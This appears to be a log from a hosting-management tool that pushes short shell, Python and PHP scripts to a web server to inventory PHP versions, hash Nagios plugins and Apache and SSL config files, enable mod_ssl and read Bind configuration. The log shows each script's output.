      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-06-19 11:22:08: 

PUT: /tmp/pkp962859

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-06-19 11:22:09: 

chmod 755 /tmp/pkp962859; /tmp/pkp962859; rm /tmp/pkp962859

2026-06-19 11:22:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-06-19 11:22:09: 

PUT: /tmp/pkp866806

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-06-19 11:22:09: 

chmod 755 /tmp/pkp866806; /tmp/pkp866806; rm /tmp/pkp866806

2026-06-19 11:22:09: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.31
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.31
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.22


2026-06-19 11:22:09: 

PUT: /tmp/pkp533665

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-06-19 11:22:09: 

chmod 755 /tmp/pkp533665; /tmp/pkp533665; rm /tmp/pkp533665

2026-06-19 11:22:09: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-06-19 11:22:09: 

PUT: /tmp/pkp496750

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-06-19 11:22:09: 

chmod 755 /tmp/pkp496750; /tmp/pkp496750; rm /tmp/pkp496750

2026-06-19 11:22:09: 


status=ok


2026-06-19 11:22:09: 

PUT: /tmp/pkp215847

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:22:09: 

chmod 755 /tmp/pkp215847; /tmp/pkp215847; rm /tmp/pkp215847

2026-06-19 11:22:09: 
2026-06-19 11:22:09: 

PUT: /tmp/pkp197298

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/vela_login_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-19 11:22:09: 

chmod 755 /tmp/pkp197298; /tmp/pkp197298; rm /tmp/pkp197298

2026-06-19 11:22:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/vela_login_work.conf	477

<VirtualHost *:80>
    ServerName	login.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_login
    <Directory /var/www/vela_login>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/login_access.log combined
    ErrorLog	/var/log/apache2/vela/login_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= 4051f46761e3a7d9cd231674b9278365
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 0b3c64eacd2158c4a9cec811266c1ec5
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= 37d2dcb56d3c7832bfafa4a729b3848d
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 3d6fa603798e7fc18d2ad72c43a6bc84
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 593536907c22b2381a8a2587c48659ab
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= f45df4bfe00e0fe851dc3b472b59d067
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= f95a1e1b2c8674702c8e881dbd6f6102
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= 51295f38861ad48c28fe92aee2eb7e50
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= c7d9274dbe104e2ca2940a1d9400aec8
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 6f621d88492aa41de1094c11e543d284
MD5(/etc/apache2/sites-available/vela_login_work.conf)= 6b42cf805251e4227d6f93f97b377d56
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= f1a24654ad9cda557cc9e01139ff6bd8
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= e5a5226d18999bde7a38a43c56054d36
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 2d661899eef3106c074dceecc8e3cc19
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 89e5cf7198b6bf12aaf9bfa07881dd2e
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= d3be69f2f0a36d478413bc7830f813cf
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 776235e1ea430b8c13c2c33d7a33deea
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 6dc688f3b25a35b33c976d2e664a0540
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= 44709beee68cd70545c41b15f7fd5233
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= c7d9274dbe104e2ca2940a1d9400aec8
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 4ea3d095d4c7a21df93f97338b860d8d
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/vela_login_work.conf)= /etc/apache2/sites-available/vela_login_work.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf




STDERR:
/tmp/pkp215847:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-06-19 11:22:10: Establishing a connection
2026-06-19 11:22:10: 

PUT: /tmp/pkp300822

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
